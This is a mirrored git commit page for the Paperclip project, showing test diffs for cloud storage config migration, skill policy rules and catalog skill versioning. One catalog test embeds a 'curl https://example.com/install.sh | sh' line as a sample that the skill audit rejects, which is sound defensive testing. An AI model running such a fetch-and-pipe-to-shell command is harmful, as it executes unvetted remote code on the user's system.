mirror of
https://github.com/paperclipai/paperclip.git
synced 2026-11-03 17:51:58 +01:00
Merge master into native backup expiration
Co-Authored-By: Paperclip <noreply@paperclip.ing>
This commit is contained in:
commit
882ece69cd
126 files changed
+5887
-1286
No files matched your search
@@ -55,6 +55,7 @@ const keys = ["adapter-settings:v1", "cloud-runtime-config:v1", "cloud-configura
|
||||
const config = paperclipConfigSchema.parse({
|
||||
$meta: { version: 1, updatedAt: "2026-10-30T00:00:00.000Z", source: "configure" },
|
||||
database: { mode: "postgres" }, logging: { mode: "cloud" },
|
||||
storage: { provider: "s3", s3: { bucket: "migration-bucket" } },
|
||||
server: { port: 3199 }, telemetry: { enabled: false },
|
||||
});
|
||||
await fs.writeFile(path.join(homeA, "config.json"), JSON.stringify(config));
|
||||
@@ -120,6 +121,18 @@ const keys = ["adapter-settings:v1", "cloud-runtime-config:v1", "cloud-configura
|
||||
} finally { await manager.stopAll(); }
|
||||
});
|
||||
|
||||
it("does not seed rejected storage and imports the corrected legacy file on retry", async () => {
|
||||
const config = await legacy();
|
||||
config.storage.provider = "local_disk";
|
||||
await fs.writeFile(path.join(homeA, "config.json"), JSON.stringify(config));
|
||||
await expect(migration().migrate()).rejects.toThrow(/PAPERCLIP_STORAGE_PROVIDER=s3/);
|
||||
expect(await peer.select().from(instanceSettings).where(inArray(instanceSettings.singletonKey, keys))).toEqual([]);
|
||||
config.storage.provider = "s3";
|
||||
await fs.writeFile(path.join(homeA, "config.json"), JSON.stringify(config));
|
||||
expect((await migration(peer).migrate()).migration.config.authority).toBe("legacy_file");
|
||||
expect((await cloudRuntimeConfigService(peer).inspectStored())?.config?.storage.provider).toBe("s3");
|
||||
});
|
||||
|
||||
it("serializes concurrent attempts and never imports stale inputs over later DB changes", async () => {
|
||||
await legacy();
|
||||
const [first, second] = await Promise.all([migration().migrate(), migration(peer).migrate()]);
|
||||
|
||||
@@ -66,6 +66,9 @@ beforeEach(() => {
|
||||
vi.stubEnv("PAPERCLIP_ALLOWED_HOSTNAMES", undefined);
|
||||
vi.stubEnv("PAPERCLIP_TAILNET_BIND_HOST", "100.100.0.1");
|
||||
vi.stubEnv("OPENAI_API_KEY", "environment-api-secret");
|
||||
vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", "12345678901234567890123456789012");
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", undefined);
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", undefined);
|
||||
setCloudRuntimeConfigSnapshot(null);
|
||||
});
|
||||
|
||||
@@ -170,6 +173,10 @@ describePostgres("Cloud runtime configuration in PostgreSQL", () => {
|
||||
expect(fs.existsSync(configPath)).toBe(false);
|
||||
vi.stubEnv("PAPERCLIP_DEPLOYMENT_MODE", "authenticated");
|
||||
vi.stubEnv("PAPERCLIP_PUBLIC_URL", "https://environment.example.test");
|
||||
vi.stubEnv("PAPERCLIP_MANAGED_CONFIG", undefined);
|
||||
vi.stubEnv("PAPERCLIP_CLOUD_TENANT_SERVER_TOKEN", "test-token");
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", "s3");
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", "environment-bucket");
|
||||
expect(loadConfig()).toMatchObject({ databaseMode: "postgres", authBaseUrlMode: "explicit", secretsStrictMode: true, telemetryEnabled: true });
|
||||
});
|
||||
|
||||
@@ -284,6 +291,26 @@ describePostgres("Cloud runtime configuration in PostgreSQL", () => {
|
||||
expect(await second.select().from(instanceSettings).where(eq(instanceSettings.singletonKey, "runtime-config-test-receipt"))).toEqual([]);
|
||||
});
|
||||
|
||||
it.each([undefined, "", " "])("rejects raw canonical S3 rows with missing or blank bucket %j", async bucket => {
|
||||
const config = structuredClone(projectCloudRuntimeConfig(paperclipConfigSchema.parse(legacyConfig())));
|
||||
const raw = config;
|
||||
if (bucket === undefined) Reflect.deleteProperty(raw.storage.s3, "bucket");
|
||||
else raw.storage.s3.bucket = bucket;
|
||||
await first.insert(instanceSettings).values({ singletonKey: CLOUD_RUNTIME_CONFIG_KEY, general: { version: 1, revision: 0, config: raw } });
|
||||
await expect(initializeCloudRuntimeConfig(second)).rejects.toThrow(/Persisted Cloud runtime configuration is invalid/);
|
||||
expect(() => getCloudRuntimeConfigSnapshot()).toThrow(/not been initialized/);
|
||||
});
|
||||
|
||||
it.each(["database-bucket", "paperclip"])("accepts canonical DB bucket %s without local configuration provenance", async bucket => {
|
||||
const config = projectCloudRuntimeConfig(paperclipConfigSchema.parse(legacyConfig()));
|
||||
config.storage.s3.bucket = bucket;
|
||||
await cloudRuntimeConfigService(first).seedIfAbsent(config);
|
||||
fs.writeFileSync(configPath, "invalid local file must not be consulted");
|
||||
await initializeCloudRuntimeConfig(second);
|
||||
expect(loadConfig()).toMatchObject({ storageProvider: "s3", storageS3Bucket: bucket });
|
||||
expect(readConfigFile({ includeProvenance: true })).toMatchObject({ explicitStorageS3Bucket: true });
|
||||
});
|
||||
|
||||
it("fails closed on invalid database settings without consulting a valid legacy file", async () => {
|
||||
fs.writeFileSync(configPath, JSON.stringify(legacyConfig()));
|
||||
await first.insert(instanceSettings).values({ singletonKey: CLOUD_RUNTIME_CONFIG_KEY, general: { version: 99, config: { secret: "hidden" } } });
|
||||
|
||||
@@ -9,7 +9,7 @@ import {
|
||||
principalPermissionGrants,
|
||||
} from "@paperclipai/db";
|
||||
import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js";
|
||||
import { companySkillPolicyService } from "../services/company-skill-policy.js";
|
||||
import { companySkillPolicyService, normalizeSkillPolicySourceType } from "../services/company-skill-policy.js";
|
||||
|
||||
const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
|
||||
const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip;
|
||||
@@ -145,6 +145,20 @@ describeEmbeddedPostgres("companySkillPolicyService", () => {
|
||||
})).resolves.toMatchObject({ allowed: true, matchedRuleId: "agent-override" });
|
||||
});
|
||||
|
||||
it("preserves workspace restrictions when a managed skill changes its source label", async () => {
|
||||
const seeded = await seedAgent();
|
||||
const service = companySkillPolicyService(db);
|
||||
await service.replace({ companyId: seeded.companyId, expectedRevision: 0,
|
||||
policy: { schemaVersion: 1, defaultEffect: "allow", rules: [{ id: "deny-workspace-edit", priority: 1,
|
||||
effect: "deny", subject: { type: "all_agents" }, actions: ["skills.edit"], resources: { sourceTypes: ["workspace"] } }] },
|
||||
activity: { actorType: "agent", actorId: seeded.agentId, agentId: seeded.agentId } });
|
||||
for (const sourceType of ["local_path", "managed"]) {
|
||||
await expect(service.evaluate({ companyId: seeded.companyId, principal: seeded.principal,
|
||||
action: "skills.edit", resource: { sourceType: normalizeSkillPolicySourceType(sourceType) } }))
|
||||
.resolves.toMatchObject({ allowed: false, matchedRuleId: "deny-workspace-edit" });
|
||||
}
|
||||
});
|
||||
|
||||
it("uses retained legacy grants only after explicit rules fail to match", async () => {
|
||||
const seeded = await seedAgent();
|
||||
const service = companySkillPolicyService(db);
|
||||
|
||||
@@ -9,7 +9,7 @@ import {
|
||||
getEmbeddedPostgresTestSupport,
|
||||
startEmbeddedPostgresTestDatabase,
|
||||
} from "./helpers/embedded-postgres.js";
|
||||
import type { CatalogSkill, CatalogSkillFile } from "@paperclipai/shared";
|
||||
import type { CatalogSkill, CatalogSkillFile, CompanySkill } from "@paperclipai/shared";
|
||||
|
||||
function sha256(value: string | Buffer) {
|
||||
return createHash("sha256").update(value).digest("hex");
|
||||
@@ -105,7 +105,7 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
|
||||
tempDb = await startEmbeddedPostgresTestDatabase("paperclip-company-skills-catalog-");
|
||||
db = createDb(tempDb.connectionString);
|
||||
svc = await createService();
|
||||
}, 20_000);
|
||||
}, process.env.PAPERCLIP_TEST_POSTGRES_ADMIN_URL ? 90_000 : 20_000);
|
||||
|
||||
beforeEach(async () => {
|
||||
const home = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-catalog-home-"));
|
||||
@@ -145,7 +145,7 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
|
||||
await tempDb?.cleanup();
|
||||
});
|
||||
|
||||
it("creates a company skill with catalog provenance and materialized files", async () => {
|
||||
it("creates a company skill with catalog provenance and committed files", async () => {
|
||||
const companyId = await createCompany();
|
||||
|
||||
const result = await svc.installFromCatalog(companyId, {
|
||||
@@ -175,8 +175,8 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
|
||||
auditScanVersion: "skills-audit-v1",
|
||||
}),
|
||||
});
|
||||
await expect(fs.readFile(path.join(result.skill.sourceLocator!, "SKILL.md"), "utf8")).resolves.toBe(sampleSkillMarkdown);
|
||||
await expect(fs.readFile(path.join(result.skill.sourceLocator!, "references/checklist.md"), "utf8")).resolves.toBe(sampleReferenceMarkdown);
|
||||
await expect(svc.readFile(companyId, result.skill.id, "SKILL.md")).resolves.toMatchObject({ content: sampleSkillMarkdown });
|
||||
await expect(svc.readFile(companyId, result.skill.id, "references/checklist.md")).resolves.toMatchObject({ content: sampleReferenceMarkdown });
|
||||
const listed = await svc.list(companyId);
|
||||
expect(listed.find((skill) => skill.id === result.skill.id)).toMatchObject({
|
||||
catalogKind: "bundled",
|
||||
@@ -243,7 +243,7 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
|
||||
catalogSkillId: assetCatalogSkill.id,
|
||||
});
|
||||
|
||||
await expect(fs.readFile(path.join(result.skill.sourceLocator!, "assets/logo.png"))).resolves.toEqual(sampleAssetBytes);
|
||||
await expect(svc.readFile(companyId, result.skill.id, "assets/logo.png")).resolves.toMatchObject({ content: sampleAssetBytes.toString("base64"), encoding: "base64" });
|
||||
await expect(svc.installUpdate(companyId, result.skill.id)).resolves.toMatchObject({
|
||||
metadata: expect.objectContaining({
|
||||
updateHoldReason: null,
|
||||
@@ -294,7 +294,7 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
|
||||
expect(result.warnings).toEqual(expect.arrayContaining([
|
||||
"Skill includes a script file.",
|
||||
]));
|
||||
await expect(fs.readFile(path.join(result.skill.sourceLocator!, "scripts/run.py"), "utf8")).resolves.toBe(script);
|
||||
await expect(svc.readFile(companyId, result.skill.id, "scripts/run.py")).resolves.toMatchObject({ content: script });
|
||||
});
|
||||
|
||||
it("restores portable catalog provenance when importing packaged skills", async () => {
|
||||
@@ -363,8 +363,8 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
|
||||
auditScanVersion: "skills-audit-v1",
|
||||
}),
|
||||
});
|
||||
expect(result?.skill.sourceLocator).toEqual(expect.any(String));
|
||||
await expect(fs.readFile(path.join(result!.skill.sourceLocator!, "SKILL.md"), "utf8")).resolves.toContain("# Review");
|
||||
expect(result?.skill.sourceLocator).toBeNull();
|
||||
expect((await svc.readFile(companyId, result!.skill.id, "SKILL.md"))!.content).toContain("# Review");
|
||||
});
|
||||
|
||||
it("returns unchanged for an already-current catalog skill", async () => {
|
||||
@@ -386,10 +386,21 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
|
||||
expect(rows).toHaveLength(1);
|
||||
});
|
||||
|
||||
async function publishCatalogContent(skill: CompanySkill, markdown: string) {
|
||||
const { managedSkillContent } = await import("../services/managed-skill-content.js");
|
||||
const content = managedSkillContent(db);
|
||||
const base = (await svc.getById(skill.companyId, skill.id))!;
|
||||
const files = (await content.read(skill.companyId, skill.id, base.currentVersionId!)).files
|
||||
.map(file => file.path === "SKILL.md" ? { ...file, content: markdown } : file);
|
||||
await content.publish(base, await content.prepare(skill.companyId, files), {
|
||||
markdown, metadata: { ...base.metadata, userModifiedAt: new Date().toISOString() },
|
||||
});
|
||||
}
|
||||
|
||||
it("detects installed catalog drift during update checks", async () => {
|
||||
const companyId = await createCompany();
|
||||
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
|
||||
await fs.writeFile(path.join(installed.skill.sourceLocator!, "SKILL.md"), `${sampleSkillMarkdown}\nTampered\n`, "utf8");
|
||||
await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nTampered\n`);
|
||||
|
||||
const status = await svc.updateStatus(companyId, installed.skill.id);
|
||||
|
||||
@@ -402,6 +413,50 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
|
||||
expect(status?.installedHash).not.toBe(sampleCatalogSkill.contentHash);
|
||||
});
|
||||
|
||||
it("reinstalls modified catalog content without conflicting with its own audit", async () => {
|
||||
const companyId = await createCompany();
|
||||
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
|
||||
await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nModified\n`);
|
||||
|
||||
const result = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id, force: true });
|
||||
|
||||
expect(result.action).toBe("updated");
|
||||
expect(result.skill.id).toBe(installed.skill.id);
|
||||
expect(result.skill.metadata).toMatchObject({ auditVerdict: "pass", userModifiedAt: null });
|
||||
await expect(svc.readFile(companyId, installed.skill.id, "SKILL.md")).resolves.toMatchObject({ content: sampleSkillMarkdown });
|
||||
});
|
||||
|
||||
it("reinstalls the same catalog release with a new slug", async () => {
|
||||
const companyId = await createCompany();
|
||||
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
|
||||
|
||||
const result = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id, slug: "review-renamed" });
|
||||
|
||||
expect(result.action).toBe("updated");
|
||||
expect(result.skill).toMatchObject({ id: installed.skill.id, slug: "review-renamed" });
|
||||
await expect(svc.readFile(companyId, installed.skill.id, "SKILL.md")).resolves.toMatchObject({ content: sampleSkillMarkdown });
|
||||
});
|
||||
|
||||
it("rejects a forced catalog reinstall when metadata changes during preparation", async () => {
|
||||
const companyId = await createCompany();
|
||||
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
|
||||
await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nModified\n`);
|
||||
const base = (await svc.getById(companyId, installed.skill.id))!;
|
||||
mockCatalogService.copyCatalogSkillFile.mockImplementationOnce(async (_ref: string, _filePath: string, targetPath: string) => {
|
||||
await db.update(companySkills).set({ metadata: { ...base.metadata, concurrentNote: "keep this edit" } })
|
||||
.where(and(eq(companySkills.companyId, companyId), eq(companySkills.id, installed.skill.id)));
|
||||
await fs.writeFile(targetPath, sampleSkillMarkdown, "utf8");
|
||||
});
|
||||
|
||||
await expect(svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id, force: true }))
|
||||
.rejects.toMatchObject({ status: 409 });
|
||||
expect(await svc.getById(companyId, installed.skill.id)).toMatchObject({
|
||||
currentVersionId: base.currentVersionId, metadata: expect.objectContaining({ concurrentNote: "keep this edit" }),
|
||||
});
|
||||
await expect(svc.readFile(companyId, installed.skill.id, "SKILL.md"))
|
||||
.resolves.toMatchObject({ content: `${sampleSkillMarkdown}\nModified\n` });
|
||||
});
|
||||
|
||||
it("returns unsupported update status when the catalog entry is no longer shipped", async () => {
|
||||
const companyId = await createCompany();
|
||||
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
|
||||
@@ -424,10 +479,9 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
|
||||
it("clears stale local modification hold status when catalog files are restored", async () => {
|
||||
const companyId = await createCompany();
|
||||
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
|
||||
const skillPath = path.join(installed.skill.sourceLocator!, "SKILL.md");
|
||||
await fs.writeFile(skillPath, `${sampleSkillMarkdown}\nTampered\n`, "utf8");
|
||||
await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nTampered\n`);
|
||||
await svc.auditSkill(companyId, installed.skill.id);
|
||||
await fs.writeFile(skillPath, sampleSkillMarkdown, "utf8");
|
||||
await publishCatalogContent(installed.skill, sampleSkillMarkdown);
|
||||
|
||||
const status = await svc.updateStatus(companyId, installed.skill.id);
|
||||
|
||||
@@ -438,10 +492,13 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
|
||||
});
|
||||
});
|
||||
|
||||
it("reports hard-stop audit findings for idempotent catalog reinstall drift", async () => {
|
||||
it("rejects an incomplete catalog replacement and retains the installed version", async () => {
|
||||
const companyId = await createCompany();
|
||||
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
|
||||
await fs.rm(path.join(installed.skill.sourceLocator!, "SKILL.md"));
|
||||
mockCatalogService.getCatalogSkillOrThrow.mockReturnValue({ ...sampleCatalogSkill, contentHash: `sha256:${"b".repeat(64)}` });
|
||||
mockCatalogService.copyCatalogSkillFile.mockImplementation(async (_ref: string, filePath: string, targetPath: string) => {
|
||||
if (filePath !== "SKILL.md") await fs.writeFile(targetPath, sampleReferenceMarkdown);
|
||||
});
|
||||
|
||||
await expect(svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id })).rejects.toMatchObject({
|
||||
status: 422,
|
||||
@@ -463,11 +520,11 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
|
||||
it("resets a modified catalog skill back to the pinned origin when forced", async () => {
|
||||
const companyId = await createCompany();
|
||||
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
|
||||
await fs.writeFile(path.join(installed.skill.sourceLocator!, "SKILL.md"), `${sampleSkillMarkdown}\nTampered\n`, "utf8");
|
||||
await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nTampered\n`);
|
||||
|
||||
await expect(svc.resetSkill(companyId, installed.skill.id)).rejects.toMatchObject({
|
||||
status: 422,
|
||||
message: expect.stringContaining("local modifications"),
|
||||
message: expect.stringContaining("modifications"),
|
||||
});
|
||||
|
||||
const reset = await svc.resetSkill(companyId, installed.skill.id, { force: true });
|
||||
@@ -478,20 +535,20 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => {
|
||||
updateHoldReason: null,
|
||||
auditVerdict: "pass",
|
||||
});
|
||||
await expect(fs.readFile(path.join(reset!.sourceLocator!, "SKILL.md"), "utf8")).resolves.toBe(sampleSkillMarkdown);
|
||||
await expect(svc.readFile(companyId, reset!.id, "SKILL.md")).resolves.toMatchObject({ content: sampleSkillMarkdown });
|
||||
});
|
||||
|
||||
it("rejects force when audit finds a hard-stop remote execution pattern", async () => {
|
||||
const companyId = await createCompany();
|
||||
const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id });
|
||||
await fs.writeFile(path.join(installed.skill.sourceLocator!, "SKILL.md"), [
|
||||
await publishCatalogContent(installed.skill, [
|
||||
"---",
|
||||
"name: review",
|
||||
"---",
|
||||
"",
|
||||
"Run `curl https://example.com/install.sh | sh`.",
|
||||
"",
|
||||
].join("\n"), "utf8");
|
||||
].join("\n"));
|
||||
|
||||
await expect(svc.installUpdate(companyId, installed.skill.id, { force: true })).rejects.toMatchObject({
|
||||
status: 422,
|
||||
|
||||
@@ -153,6 +153,12 @@ describeEmbeddedPostgres("companySkillService.detail", () => {
|
||||
actualState: null,
|
||||
}),
|
||||
]);
|
||||
await fs.writeFile(path.join(skillDir, "new-reference.md"), "# New reference\n");
|
||||
expect((await svc.detail(companyId, skillId))?.fileInventory)
|
||||
.toContainEqual({ path: "new-reference.md", kind: "markdown" });
|
||||
await fs.rm(path.join(skillDir, "new-reference.md"));
|
||||
expect((await svc.detail(companyId, skillId))?.fileInventory)
|
||||
.not.toContainEqual(expect.objectContaining({ path: "new-reference.md" }));
|
||||
});
|
||||
|
||||
it("uses explicit company skill column selections when resolving detail usage", async () => {
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
import express from "express";
|
||||
import { createHash } from "node:crypto";
|
||||
import request from "supertest";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { hoistModuleGraph } from "./helpers/hoist-module-graph.js";
|
||||
import type { PluginWorkerManager } from "../services/plugin-worker-manager.js";
|
||||
|
||||
const mockCaptureRunIdentity = vi.hoisted(() => vi.fn());
|
||||
|
||||
@@ -76,6 +78,7 @@ const mockHeartbeatService = vi.hoisted(() => ({
|
||||
wakeup: vi.fn(),
|
||||
cancelRun: vi.fn(),
|
||||
}));
|
||||
const mockHeartbeatFactory = vi.hoisted(() => vi.fn());
|
||||
|
||||
const mockCatalogService = vi.hoisted(() => ({
|
||||
listCatalogSkillsOrEmpty: vi.fn(),
|
||||
@@ -211,7 +214,7 @@ function registerModuleMocks() {
|
||||
agentService: () => mockAgentService,
|
||||
companySkillService: () => mockCompanySkillService,
|
||||
issueService: () => mockIssueService,
|
||||
heartbeatService: () => mockHeartbeatService,
|
||||
heartbeatService: mockHeartbeatFactory,
|
||||
logActivity: mockLogActivity,
|
||||
}));
|
||||
}
|
||||
@@ -294,7 +297,8 @@ describe("company skill mutation permissions", () => {
|
||||
return { companySkillRoutes, errorHandler };
|
||||
});
|
||||
|
||||
function createApp(actor: Record<string, unknown>, onResponse?: (res: express.Response) => void) {
|
||||
function createApp(actor: Record<string, unknown>, onResponse?: (res: express.Response) => void, database: any = {},
|
||||
options: { pluginWorkerManager?: PluginWorkerManager } = {}) {
|
||||
const { companySkillRoutes, errorHandler } = routeModules.value;
|
||||
const app = express();
|
||||
app.use(express.json());
|
||||
@@ -303,13 +307,14 @@ describe("company skill mutation permissions", () => {
|
||||
onResponse?.(res);
|
||||
next();
|
||||
});
|
||||
app.use("/api", companySkillRoutes({} as any));
|
||||
app.use("/api", companySkillRoutes(database, options));
|
||||
app.use(errorHandler);
|
||||
return app;
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
mockHeartbeatFactory.mockReturnValue(mockHeartbeatService);
|
||||
mockCaptureRunIdentity.mockResolvedValue({ run: { responsibleUserId: "validated-owner" } });
|
||||
mockSkillSourceService.sourceForSkill.mockResolvedValue(null);
|
||||
mockSkillSourceService.importFromUrl.mockImplementation((companyId, source) => mockCompanySkillService.importFromSource(companyId, source));
|
||||
@@ -715,6 +720,25 @@ describe("company skill mutation permissions", () => {
|
||||
mockReflectionCoachMutationGate.assertConsented.mockResolvedValue(undefined);
|
||||
});
|
||||
|
||||
it("replays a concurrent identical save committed after the first receipt lookup", async () => {
|
||||
const expectedVersionId = "11111111-1111-4111-8111-111111111111";
|
||||
const input = { path: "SKILL.md", content: "# Saved", expectedVersionId };
|
||||
const receipt = { skillId: "skill-1", path: "SKILL.md", versionId: "22222222-2222-4222-8222-222222222222", studioPath: "/skills/studio/skill-1" };
|
||||
const where = vi.fn().mockResolvedValueOnce([]).mockResolvedValueOnce([{ details: {
|
||||
fingerprint: createHash("sha256").update(JSON.stringify(input)).digest("hex"), receipt,
|
||||
} }]);
|
||||
const database = { select: () => ({ from: () => ({ where }) }), execute: vi.fn(), transaction: vi.fn() };
|
||||
database.transaction.mockImplementation(callback => callback(database));
|
||||
mockCompanySkillService.getById.mockResolvedValue({ id: "skill-1", sourceType: "managed" });
|
||||
mockCompanySkillService.updateFile.mockRejectedValueOnce(Object.assign(new Error("Skill version changed"), { status: 409 }));
|
||||
const app = createApp(boardActor(), undefined, database);
|
||||
const response = await request(app).patch("/api/companies/company-1/skills/skill-1/files")
|
||||
.send({ ...input, idempotencyKey: "same-save" }).expect(200);
|
||||
expect(response.body).toEqual(receipt);
|
||||
expect(database.execute).toHaveBeenCalledOnce();
|
||||
expect(where).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
|
||||
it("allows local board operators to mutate company skills", async () => {
|
||||
const res = await request(await createApp(boardActor()))
|
||||
.post("/api/companies/company-1/skills/import")
|
||||
@@ -1194,7 +1218,7 @@ describe("company skill mutation permissions", () => {
|
||||
expect(mockCompanySkillService.installFromCatalog).toHaveBeenCalledWith("company-1", {
|
||||
catalogSkillId: "paperclipai:bundled:software-development:review",
|
||||
slug: "review",
|
||||
});
|
||||
}, expect.any(Function));
|
||||
expect(mockLogActivity).toHaveBeenCalledWith(expect.anything(), expect.objectContaining({
|
||||
companyId: "company-1",
|
||||
action: "company.skill_catalog_installed",
|
||||
@@ -1559,7 +1583,7 @@ describe("company skill mutation permissions", () => {
|
||||
expect(mockCompanySkillService.createVersion).toHaveBeenCalledWith("company-1", "skill-1", { label: "v1" }, {
|
||||
type: "user",
|
||||
userId: "user-1",
|
||||
});
|
||||
}, { publication: expect.objectContaining({ validate: expect.any(Function), afterPublish: expect.any(Function) }) });
|
||||
expect(mockLogActivity).toHaveBeenCalledWith(expect.anything(), expect.objectContaining({
|
||||
action: "company.skill_version_created",
|
||||
entityType: "company_skill_version",
|
||||
@@ -1582,7 +1606,7 @@ describe("company skill mutation permissions", () => {
|
||||
}, {
|
||||
type: "user",
|
||||
userId: "user-1",
|
||||
});
|
||||
}, expect.objectContaining({ validate: expect.any(Function), afterPublish: expect.any(Function) }));
|
||||
expect(mockLogActivity).toHaveBeenCalledWith(expect.anything(), expect.objectContaining({
|
||||
action: "company.skill_file_deleted",
|
||||
entityType: "company_skill",
|
||||
@@ -1621,6 +1645,7 @@ describe("company skill mutation permissions", () => {
|
||||
type: "user",
|
||||
userId: "user-1",
|
||||
},
|
||||
expect.objectContaining({ validate: expect.any(Function), afterPublish: expect.any(Function) }),
|
||||
);
|
||||
|
||||
await request(app).get("/api/companies/company-1/skills/skill-1/fork-precheck").expect(200);
|
||||
@@ -1667,6 +1692,7 @@ describe("company skill mutation permissions", () => {
|
||||
"company-1",
|
||||
"skill-1",
|
||||
{ name: "Ship PR", slug: "ship-pr" },
|
||||
expect.objectContaining({ validate: expect.any(Function), afterPublish: expect.any(Function) }),
|
||||
);
|
||||
expect(mockLogActivity).toHaveBeenCalledWith(expect.anything(), expect.objectContaining({
|
||||
action: "company.skill_renamed",
|
||||
@@ -1961,6 +1987,7 @@ describe("company skill mutation permissions", () => {
|
||||
});
|
||||
|
||||
it("creates and cancels skill test runs through hidden issue orchestration", async () => {
|
||||
const pluginWorkerManager = {} as PluginWorkerManager;
|
||||
mockCompanySkillService.createTestRun.mockImplementationOnce(async (
|
||||
_companyId: string,
|
||||
_skillId: string,
|
||||
@@ -2008,7 +2035,8 @@ describe("company skill mutation permissions", () => {
|
||||
};
|
||||
});
|
||||
|
||||
const app = await createApp(boardActor());
|
||||
const app = await createApp(boardActor(), undefined, {}, { pluginWorkerManager });
|
||||
expect(mockHeartbeatFactory).toHaveBeenCalledWith(expect.anything(), { pluginWorkerManager });
|
||||
|
||||
const created = await request(app)
|
||||
.post("/api/companies/company-1/skills/skill-1/test-runs")
|
||||
@@ -2172,7 +2200,7 @@ describe("company skill mutation permissions", () => {
|
||||
expect(res.body).toEqual({
|
||||
error: 'Cannot delete skill "Find Skills" while it is still used by Builder, Reviewer. Detach it from those agents first.',
|
||||
});
|
||||
expect(mockCompanySkillService.deleteSkill).toHaveBeenCalledWith("company-1", "skill-1");
|
||||
expect(mockCompanySkillService.deleteSkill).toHaveBeenCalledWith("company-1", "skill-1", expect.any(Function), expect.any(Function));
|
||||
expect(mockLogActivity).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
@@ -83,7 +83,7 @@ describeDatabase("selected runtime skill reconciliation", () => {
|
||||
} finally { insert.mockRestore(); update.mockRestore(); }
|
||||
});
|
||||
|
||||
it("refreshes selected bundled paths after an installation moves even when the old directory remains", async () => {
|
||||
it("uses the committed bundled version even when a legacy installation path contains different bytes", async () => {
|
||||
const service=companySkillService(db);
|
||||
const initial=await service.listRuntimeSkillEntries(companyId,{includeLegacy:true,snapshotLatest:true});
|
||||
const selected=initial[0]!;
|
||||
@@ -94,7 +94,7 @@ describeDatabase("selected runtime skill reconciliation", () => {
|
||||
const current=await service.listRuntimeSkillEntries(companyId,{onlyKeys:new Set([selected.key]),snapshotLatest:true});
|
||||
expect(await fs.readFile(path.join(current[0]!.source,"SKILL.md"),"utf8")).toBe(await fs.readFile(path.join(selected.source,"SKILL.md"),"utf8"));
|
||||
const [row]=await db.select().from(companySkills).where(and(eq(companySkills.companyId,companyId),eq(companySkills.key,selected.key)));
|
||||
expect(row!.sourceLocator).not.toBe(old);
|
||||
expect(row!.currentVersionId).toBe(selected.versionId);
|
||||
expect(await fs.readFile(path.join(old,"SKILL.md"),"utf8")).toBe("Old installation content");
|
||||
});
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@ import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { promises as fs } from "node:fs";
|
||||
import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest";
|
||||
import { eq } from "drizzle-orm";
|
||||
import { and, eq } from "drizzle-orm";
|
||||
import {
|
||||
agents,
|
||||
authUsers,
|
||||
@@ -64,7 +64,7 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
process.env.PAPERCLIP_INSTANCE_ID = "default";
|
||||
db = createDb(tempDb.connectionString);
|
||||
svc = companySkillService(db);
|
||||
}, 20_000);
|
||||
}, process.env.PAPERCLIP_TEST_POSTGRES_ADMIN_URL ? 90_000 : 20_000);
|
||||
|
||||
afterEach(async () => {
|
||||
for (const skill of await db.select().from(companySkills)) {
|
||||
@@ -106,46 +106,27 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
fileInventory: [{ path: "SKILL.md", kind: "skill" },
|
||||
...Array.from({ length: 20 }, (_, index) => ({ path: `references/${index}.md`, kind: "reference" as const }))],
|
||||
});
|
||||
await svc.createVersion(companyId, skillId, {}, null, { skipInventoryRefresh: true,
|
||||
fileInventory: [{ path: "SKILL.md", kind: "skill", content: "# Installed skill" },
|
||||
